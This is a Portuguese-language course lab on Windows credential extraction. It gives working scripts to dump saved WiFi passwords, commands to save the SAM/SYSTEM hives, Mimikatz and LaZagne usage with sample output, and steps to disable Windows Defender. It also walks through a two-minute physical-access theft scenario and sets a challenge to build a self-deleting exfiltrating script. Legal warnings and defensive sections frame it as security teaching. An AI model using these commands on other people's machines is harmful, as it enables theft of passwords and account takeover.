Pular para o conteúdo principal

Lab 3.1: Extração Massiva de Credenciais

Objetivos de Aprendizagem​

Ao final deste laboratório, você será capaz de:

  • Extrair as senhas WiFi armazenadas no Windows
  • Recuperar as senhas dos navegadores web
  • Fazer dump dos hashes NTLM das contas do Windows
  • Entender como o Windows armazena as credenciais
  • Avaliar os riscos de segurança relacionados ao armazenamento de senhas
  • Aplicar medidas de proteção apropriadas

Duração Estimada​

35 minutos

Pré-requisitos​

  • VM Windows 10/11 com algumas senhas salvas
  • Navegador com senhas salvas (Chrome, Firefox ou Edge)
  • Algumas redes WiFi registradas
  • PowerShell

Contexto Profissional​

Em segurança da informação, a extração de credenciais é uma etapa crítica de:

  • Testes de penetração autorizados
  • Investigação forense
  • Avaliação da postura de segurança
  • Conscientização dos usuários sobre riscos

Este lab demonstra por que:

  • 2 minutos de acesso físico = Todas as suas senhas roubadas
  • Gerenciadores de senhas são essenciais
  • Criptografia de disco é crucial
  • Nunca deixe um computador sem supervisão

ESTE LAB ENSINA TÉCNICAS EXTREMAMENTE PODEROSAS

As ferramentas e técnicas deste lab permitem extrair TODAS as senhas armazenadas em um sistema Windows em poucos segundos.

PERMITIDO APENAS:

  • Em sua própria VM de teste
  • Em sistemas dos quais você é proprietário
  • Em um teste de penetração com contrato assinado
  • Para investigação forense com mandado legal

ESTRITAMENTE PROIBIDO:

  • No computador de terceiros sem permissão por escrito
  • Para roubar senhas
  • Para acessar contas que não são suas
  • Para prejudicar, espionar ou hackear

CONSEQUÊNCIAS LEGAIS:

  • Roubo de senhas = Crime grave (Código Penal art. 342.1)
  • Prisão e multas pesadas
  • Ficha criminal permanente
  • Expulsão acadêmica
  • Processo civil

AO REALIZAR ESTE LAB, VOCÊ SE COMPROMETE:

  • A usar estas técnicas apenas de forma legal e ética
  • A NUNCA extrair credenciais de terceiros
  • A conscientizar seu entorno sobre os riscos
  • A proteger seus próprios sistemas

Parte 1: Extração de Senhas WiFi​

Etapa 1.1: Lembrete - Método Manual​

Você já conhece este comando do Lab 1.4:

netsh wlan show profiles
netsh wlan show profile name="MonWiFi" key=clear

Limitação: Um comando por rede = Cansativo!

Etapa 1.2: Script de Extração Automática​

Crie um arquivo wifi_dump.bat:

@echo off
echo ============================================
echo EXTRACTION MASSIVE - Mots de passe WiFi
echo ============================================
echo.

cd %temp%
netsh wlan show profiles | findstr "Profil Tous" > wifi_names.txt

echo [RESEAUX WIFI TROUVES]
type wifi_names.txt
echo.
echo.

echo [EXTRACTION DES MOTS DE PASSE...]
echo. > wifi_passwords.txt

for /f "tokens=2 delims=:" %%i in ('type wifi_names.txt') do (
set "ssid=%%i"
setlocal enabledelayedexpansion
set "ssid=!ssid:~1!"
echo ========================================== >> wifi_passwords.txt
echo SSID: !ssid! >> wifi_passwords.txt
echo ========================================== >> wifi_passwords.txt
netsh wlan show profile name="!ssid!" key=clear | findstr "Contenu" >> wifi_passwords.txt
echo. >> wifi_passwords.txt
endlocal
)

echo [RESULTATS]
type wifi_passwords.txt
echo.
echo.
echo Fichier sauvegarde: %temp%\wifi_passwords.txt
pause

Execute como administrador:

wifi_dump.bat

BOOM! Em poucos segundos:

  • Todas as redes WiFi listadas
  • Todas as senhas extraídas
  • Salvas em um arquivo!

Perguntas:

  1. Quantas redes WiFi você encontrou?
  2. Quantas senhas você extraiu?
  3. Quanto tempo levou a operação?

Etapa 1.3: Versão PowerShell (Mais Elegante)​

Script PowerShell wifi_extract.ps1:

Write-Host "=== EXTRACTION WIFI ===" -ForegroundColor Cyan

$profiles = netsh wlan show profiles | Select-String "Profil Tous" | ForEach-Object {
$_ -replace ".*:\s+", ""
}

$results = @()

foreach ($profile in $profiles) {
$profile = $profile.Trim()
Write-Host "Extraction: $profile" -ForegroundColor Yellow

$password = netsh wlan show profile name="$profile" key=clear |
Select-String "Contenu de la clé" |
ForEach-Object { $_ -replace ".*:\s+", "" }

$results += [PSCustomObject]@{
SSID = $profile
Password = if($password) {$password} else {"(Pas de mot de passe)"}
}
}

$results | Format-Table -AutoSize
$results | Export-Csv -Path "$env:TEMP\wifi_credentials.csv" -NoTypeInformation

Write-Host "`nSauvegarde: $env:TEMP\wifi_credentials.csv" -ForegroundColor Green

Execute:

powershell -ExecutionPolicy Bypass -File wifi_extract.ps1

Resultado: Tabela formatada + arquivo CSV!

Perguntas: 4. Você prefere o script BAT ou PowerShell? 5. Por que um atacante usaria esta técnica?


Parte 2: Extração de Senhas dos Navegadores​

Etapa 2.1: Entendendo o Armazenamento​

Os navegadores armazenam as senhas:

  • Chrome: Banco de dados SQLite criptografado
  • Firefox: Banco de dados SQLite
  • Edge: Igual ao Chrome (Chromium)

Localização:

  • Chrome: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data
  • Firefox: %APPDATA%\Mozilla\Firefox\Profiles\
  • Edge: %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data

Criptografia:

  • Windows Data Protection API (DPAPI)
  • Descriptografável SE você tiver acesso à conta do usuário!

Etapa 2.2: Método Manual - Chrome (Demonstração)​

Exiba as senhas via Chrome:

  1. Abra o Chrome
  2. chrome://settings/passwords
  3. Clique no olho para ver uma senha
  4. Senha do Windows solicitada!

Limitação: Uma por vez, interface gráfica

Mas com acesso aos arquivos...

Etapa 2.3: Script PowerShell - Extração Chrome​

IMPORTANTE: O Chrome deve estar fechado!

Script chrome_passwords.ps1:

# Vérifier si Chrome est installé
$chromePath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"

if (!(Test-Path $chromePath)) {
Write-Host "Chrome n'est pas installé ou pas de mots de passe" -ForegroundColor Red
exit
}

Write-Host "=== EXTRACTION MOTS DE PASSE CHROME ===" -ForegroundColor Cyan
Write-Host "ATTENTION: Ceci est une DEMONSTRATION!" -ForegroundColor Yellow
Write-Host ""

# Copier la base de données (Chrome doit être fermé!)
$tempDb = "$env:TEMP\ChromeLoginData"
Copy-Item $chromePath $tempDb -Force

Write-Host "Base de donnees copiee" -ForegroundColor Green
Write-Host "Localisation: $chromePath" -ForegroundColor Yellow
Write-Host ""
Write-Host "CONTENU (apercu):" -ForegroundColor Cyan

# Afficher quelques infos (sans déchiffrement complet pour ce lab basique)
# Pour déchiffrement complet: Utiliser LaZagne ou outil spécialisé
Write-Host "- Fichier SQLite trouve"
Write-Host "- Taille: $((Get-Item $chromePath).Length / 1KB) KB"
Write-Host "- Derniere modification: $((Get-Item $chromePath).LastWriteTime)"
Write-Host ""
Write-Host "Pour extraction complete, utiliser LaZagne (voir Partie 4)" -ForegroundColor Yellow

Remove-Item $tempDb -Force

Nota: A descriptografia DPAPI é complexa. Usaremos uma ferramenta automatizada na próxima etapa.


Parte 3: Hash NTLM das Contas Windows​

Etapa 3.1: Entendendo os Hashes NTLM​

O Windows armazena as senhas em forma de hash:

  • Arquivo: C:\Windows\System32\config\SAM
  • Hash NTLM (NT LAN Manager)
  • Impossível ler diretamente (arquivo bloqueado)

Mas com privilégios SYSTEM ou modo de recuperação...

Etapa 3.2: Método Reg Save (Requer Admin)​

Execute o cmd como administrador:

reg save HKLM\SAM C:\Users\%USERNAME%\Desktop\sam_backup
reg save HKLM\SYSTEM C:\Users\%USERNAME%\Desktop\system_backup

Resultado: Arquivos SAM e SYSTEM salvos!

Estes arquivos contêm:

  • Todas as contas de usuários locais
  • Seus hashes NTLM
  • Podem ser quebrados offline!

Perguntas: 6. Você conseguiu salvar SAM e SYSTEM? 7. Qual o tamanho desses arquivos?

Etapa 3.3: Extração com Mimikatz (Demonstração)​

Mimikatz é a ferramenta referência para extração de credenciais do Windows.

ATENÇÃO: Antivírus vão detectar! Isso é normal.

Comandos Mimikatz (demonstração conceitual):

privilege::debug
token::elevate
lsadump::sam

Resultado: TODOS os hashes NTLM das contas exibidos!

Nota: Para este lab, não instalamos o Mimikatz (detectado como malware). Usaremos o LaZagne no lugar (menos detectado).


Parte 4: LaZagne - A Ferramenta Suprema (Instalação e Uso)​

Etapa 4.1: O que é o LaZagne?​

LaZagne = Ferramenta Python open-source que extrai TUDO:

  • Senhas WiFi
  • Senhas de navegadores (Chrome, Firefox, Edge, Opera, etc.)
  • Senhas de email (Outlook, Thunderbird)
  • Senhas FTP (FileZilla)
  • Credenciais Git, SVN
  • Credenciais de bancos de dados
  • E muito mais!

Em um único comando!

Etapa 4.2: Download​

Opção A: Versão pré-compilada (Recomendado para este lab)

  1. Acesse: https://github.com/AlessandroZ/LaZagne/releases
  2. Baixe lazagne.exe (versão Windows standalone)

Opção B: Do código-fonte (se Python instalado)

git clone https://github.com/AlessandroZ/LaZagne.git
cd LaZagne/Windows
python laZagne.py all

ATENÇÃO: O antivírus provavelmente irá bloquear! Normal, é uma ferramenta "ofensiva".

Etapa 4.3: Desativar o Windows Defender Temporariamente​

Para usar o LaZagne, é preciso desativar o Defender:

PowerShell como admin:

Set-MpPreference -DisableRealtimeMonitoring $true

Ou via interface:

  1. Configurações → Privacidade e segurança → Segurança do Windows
  2. Proteção contra vírus e ameaças
  3. Gerenciar configurações
  4. Desativar Proteção em tempo real

Adicione uma exclusão:

Add-MpPreference -ExclusionPath "C:\Users\$env:USERNAME\Downloads"

Perguntas: 8. Você conseguiu desativar o Defender? 9. Por que o Defender detecta o LaZagne?

Etapa 4.4: Execução do LaZagne - EXTRAÇÃO TOTAL​

O COMANDO MÁGICO:

lazagne.exe all

AGUARDE 10-30 SEGUNDOS...

RESULTADO EXIBIDO:

########## User: SeuNome ##########

------------------- Wifi passwords -------------------

[+] SSID: MeuWiFi_5G
Password: SuperSecret123!

[+] SSID: Empresa_WiFi
Password: Empresa2024

------------------- Chrome passwords -------------------

[+] URL: https://facebook.com
Username: seuemail@example.com
Password: SenhaFacebook123

[+] URL: https://gmail.com
Username: voce@gmail.com
Password: GmailPassword456!

------------------- Firefox passwords -------------------

[+] URL: https://github.com
Username: suaconta
Password: GitHub789Pass

------------------- System Hash -------------------

[+] Username: Administrador
Hash: aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c

[+] 15 passwords found!

UOU! TODAS AS SENHAS EM TEXTO CLARO!

Etapa 4.5: Salvar em um Arquivo​

Para salvar os resultados:

lazagne.exe all > C:\Users\%USERNAME%\Desktop\ALL_PASSWORDS.txt

Ou em JSON (estruturado):

lazagne.exe all -oJ -output C:\Users\%USERNAME%\Desktop

Arquivo criado: credentials.json com TUDO!

Perguntas: 10. Quantas senhas o LaZagne encontrou? 11. Você se surpreendeu com alguma senha que havia esquecido? 12. Quanto tempo levou a extração total?


Parte 5: Cenários de Ataque Reais​

Etapa 5.1: Cenário "2 Minutos de Acesso Físico"​

Situação:

  • Vítima vai ao banheiro (2 minutos)
  • Computador desbloqueado
  • Atacante tem acesso físico

Ações do atacante:

Minuto 1:

  1. Inserir pen drive com lazagne.exe
  2. Desativar Defender (5 segundos):
    powershell Set-MpPreference -DisableRealtimeMonitoring $true
  3. Executar LaZagne (10 segundos):
    E:\lazagne.exe all > E:\pwds.txt

Minuto 2: 4. Aguardar resultados (20 segundos) 5. Remover pen drive 6. Reativar Defender:

powershell Set-MpPreference -DisableRealtimeMonitoring $false

RESULTADO:

  • Todas as senhas roubadas
  • Nenhum vestígio visível
  • Vítima não percebe NADA!

Perguntas: 13. Este cenário lhe parece realista? 14. Você já foi ao banheiro deixando seu PC desbloqueado?

Etapa 5.2: Cenário "Malware"​

Se um malware é executado no seu PC:

  1. Baixa o LaZagne do servidor do atacante
  2. Executa em segundo plano (invisível)
  3. Extrai todas as credenciais
  4. Envia para o servidor C&C (Command & Control)
  5. Se apaga (remove rastros)

Tempo total: 30 segundos Detectável: Muito difícil se bem feito!

Etapa 5.3: Cenário "Pen Drive Encontrado"​

Ataque clássico:

  1. Atacante deixa pen drive no estacionamento/cantina
  2. Rótulo: "Salários 2024 - Confidencial"
  3. Vítima curiosa insere no PC
  4. Autorun ou vítima dá duplo clique no arquivo
  5. Script executa o LaZagne
  6. Envia resultados por email ao atacante

Vítima: Vê apenas "Arquivo corrompido" Realidade: Todas as senhas roubadas!

Perguntas: 15. Você pegaria um pen drive encontrado no chão? 16. O que fazer ao encontrar um pen drive?


Parte 6: Impacto e Consequências​

Etapa 6.1: O que um Atacante Pode Fazer?​

Com todas as suas senhas, o atacante pode:

Email:

  • Ler todos os seus emails
  • Enviar emails em seu nome
  • Redefinir outras senhas

Redes sociais:

  • Se passar por você
  • Postar em seu nome
  • Acessar suas mensagens privadas

Bancário:

  • Acessar seu banco online
  • Fazer transferências
  • Roubar dinheiro

Profissional:

  • Acessar a rede da empresa
  • Roubar segredos industriais
  • Comprometer colegas

Tudo!

Etapa 6.2: Cadeia de Ataque Completa​

Exemplo realista:

  1. Roubo de senhas (este lab)
  2. Email comprometido → Redefinir outras contas
  3. Redes sociais → Engenharia social com contatos
  4. VPN da empresa → Acesso à rede corporativa
  5. Servidores internos → Exfiltração de dados
  6. Ransomware → Criptografia e pedido de resgate

Tudo começa com: 2 minutos de acesso físico!

Perguntas: 17. Qual seria o impacto se TODAS as suas senhas fossem roubadas hoje? 18. Quanto tempo levaria para se recuperar?

Etapa 6.3: Exercício - Avaliação Pessoal​

Conte quantas contas você tem:

  • Email: ___
  • Redes sociais: ___
  • Bancárias/Financeiras: ___
  • Profissionais: ___
  • Outras importantes: ___
  • TOTAL: ___

Se armazenadas no navegador: Todas podem ser roubadas em 30 segundos!


Parte 7: Medidas de Proteção​

Etapa 7.1: Nunca Armazene Senhas no Navegador​

Solução 1: Gerenciador de Senhas Dedicado

Recomendações:

  • Bitwarden (gratuito, open source)
  • 1Password (pago, excelente)
  • KeePassXC (gratuito, local)

Vantagens:

  • Criptografia forte
  • Senha mestra obrigatória
  • Não extraíveis pelo LaZagne
  • Geração de senhas fortes
  • Sincronização segura

Etapa 7.2: BitLocker Obrigatório​

BitLocker protege contra:

  • Extração de arquivos em modo de recuperação
  • Roubo de notebook
  • Acesso físico

Com BitLocker ativado:

  • LaZagne não pode ser executado sem a senha de descriptografia
  • Arquivos SAM/SYSTEM inacessíveis
  • Proteção máxima

Ative agora:

# Verificar status
Get-BitLockerVolume

# Ativar (Windows Pro)
Enable-BitLocker -MountPoint "C:" -EncryptionMethod XtsAes256 -UsedSpaceOnly

Etapa 7.3: Autenticação em Dois Fatores (2FA)​

Mesmo que a senha seja roubada:

  • 2FA impede o login
  • Código adicional obrigatório
  • No celular ou chave física

Ative 2FA em tudo:

  • Email (CRÍTICO!)
  • Banco
  • Redes sociais
  • Contas profissionais

Aplicativos 2FA:

  • Microsoft Authenticator
  • Google Authenticator
  • Authy

Etapa 7.4: Bloqueio Automático​

Configuração Windows:

# Bloqueio após 1 minuto
powercfg /setacvalueindex SCHEME_CURRENT SUB_VIDEO VIDEOCONLOCK 60
powercfg /setactive SCHEME_CURRENT

Ou manualmente:

  1. Configurações → Contas → Opções de login
  2. Tempo antes de exigir novo login: 1 minuto

Sempre: Windows + L ao se afastar!

Etapa 7.5: Antivírus e EDR​

Windows Defender:

  • Mantenha sempre ativado
  • Exceto para labs específicos
  • Reative imediatamente após

Empresas:

  • EDR (Endpoint Detection and Response)
  • Detecta execução de LaZagne, Mimikatz
  • Alerta a equipe de segurança

Parte 8: Detecção e Limpeza​

Etapa 8.1: Verificar se Foi Comprometido​

Sinais de extração de credenciais:

Logs do Windows:

# Procurar execuções suspeitas
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} |
Where-Object {$_.Message -like "*password*" -or $_.Message -like "*credential*"} |
Select-Object TimeCreated, Message | Format-List

Arquivos suspeitos:

# Procurar LaZagne ou ferramentas similares
Get-ChildItem -Path C:\ -Recurse -Filter "lazagne.exe" -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\ -Recurse -Filter "mimikatz.exe" -ErrorAction SilentlyContinue

Quarentena do Defender:

# Verificar quarentena
Get-MpThreatDetection | Select-Object ThreatName, InitialDetectionTime

Etapa 8.2: O Que Fazer se Comprometido?​

Ações imediatas:

  1. Desconectar da Internet (impedir exfiltração)
  2. Trocar TODAS as senhas (de outro dispositivo seguro)
  3. Ativar 2FA em tudo
  4. Scan completo com antivírus
  5. Verificar logs bancários e emails
  6. Notificar a empresa (se PC corporativo)

Etapa 8.3: Reinicialização Completa (Se Necessário)​

Se houver dúvida séria:

  1. Backup dos dados importantes (verificados como limpos)
  2. Reinstalação completa do Windows
  3. Troca de TODAS as senhas
  4. Monitoramento das contas por 6 meses

Entregáveis​

A entregar:

  1. Documento de análise (Word/PDF, 3-4 páginas):

    • Respostas às 18 perguntas
    • Captura de tela das senhas WiFi extraídas (borrado!)
    • Resultados do LaZagne (ANONIMIZADOS!)
    • Análise da sua situação pessoal
  2. Capturas de tela (mínimo 5):

    • Script wifi_dump em ação
    • Resultado do LaZagne (URLs e usernames OK, senhas OCULTAS!)
    • Arquivos SAM/SYSTEM salvos
    • Configuração do BitLocker
    • Gerenciador de senhas instalado
  3. Plano de ação pessoal (1 página):

    • Estado atual das suas senhas
    • Riscos identificados
    • Ações a tomar (priorizar)
    • Cronograma de implementação
  4. Conscientização (opcional):

    • Crie um cartaz ou apresentação para conscientizar seu entorno
    • "Por que nunca deixar seu PC sem supervisão"

Critérios de Avaliação​

CritérioPontos
Extração bem-sucedida das credenciais WiFi20%
Compreensão do LaZagne e seu funcionamento20%
Análise de riscos e cenários de ataque20%
Plano de ação pessoal realista20%
Qualidade da documentação e capturas15%
Conscientização (opcional)+5% bônus

Comandos de Referência Rápida​

Extração WiFi​

netsh wlan show profiles
netsh wlan show profile name="SSID" key=clear

Desativação do Defender​

Set-MpPreference -DisableRealtimeMonitoring $true
Add-MpPreference -ExclusionPath "C:\Tools"

Backup SAM​

reg save HKLM\SAM sam_backup
reg save HKLM\SYSTEM system_backup

LaZagne​

lazagne.exe all
lazagne.exe all > passwords.txt
lazagne.exe all -oJ

BitLocker​

Get-BitLockerVolume
Enable-BitLocker -MountPoint "C:" -EncryptionMethod XtsAes256

Solução de Problemas​

Problema: Defender bloqueia o LaZagne​

Solução:

Set-MpPreference -DisableRealtimeMonitoring $true
Add-MpPreference -ExclusionPath "C:\Downloads"

Problema: "Acesso negado" para SAM​

Solução: Execute o cmd como administrador.

Problema: LaZagne não encontra nenhuma senha​

Solução:

  • Verifique se você tem senhas salvas
  • Feche todos os navegadores antes de executar
  • Alguns gerenciadores de senhas não são suportados

Indo Além (Opcional)​

Desafio 1: Quebra de Hash​

Use John the Ripper ou Hashcat para quebrar os hashes NTLM extraídos.

Desafio 2: Script de Extração Automatizado​

Crie um script que:

  • Desativa o Defender
  • Executa o LaZagne
  • Envia resultados por email
  • Reativa o Defender
  • Se auto-destrói

(Apenas para compreensão, nunca usar de forma maliciosa!)

Desafio 3: Proteção Avançada​

Implemente:

  • Credential Guard (Windows)
  • Windows Hello for Business
  • Certificados em vez de senhas
  • Smart cards

Recursos Adicionais​


Conclusão​

Este lab ensinou:

  • Como o Windows armazena as credenciais
  • Técnicas de extração massiva de senhas
  • Uso do LaZagne para dump completo
  • Cenários de ataque realistas
  • Medidas de proteção eficazes

Lições CRÍTICAS:

  1. 2 minutos de acesso = Todas as suas senhas roubadas
  2. NUNCA armazene senhas no navegador
  3. Gerenciador de senhas dedicado = Essencial
  4. BitLocker = Proteção máxima
  5. 2FA = Salvação se a senha for roubada
  6. Bloqueio automático = Hábito indispensável

MENSAGEM FINAL:

Agora você sabe o quão FÁCIL é roubar todas as senhas de um computador.

Proteja-se:

  • Instale um gerenciador de senhas AGORA
  • Ative 2FA em todas as suas contas HOJE
  • Nunca deixe seu PC sem supervisão
  • Conscientize seu entorno

Com grande poder vem grande responsabilidade.

Use este conhecimento para o BEM: proteja-se e proteja os outros.


Lab desenvolvido no âmbito do curso Sistemas Operacionais - MÓDULO 3

⚠️ LEMBRETE FINAL: Estas técnicas são apenas para aprendizado. Uso malicioso = Crime grave.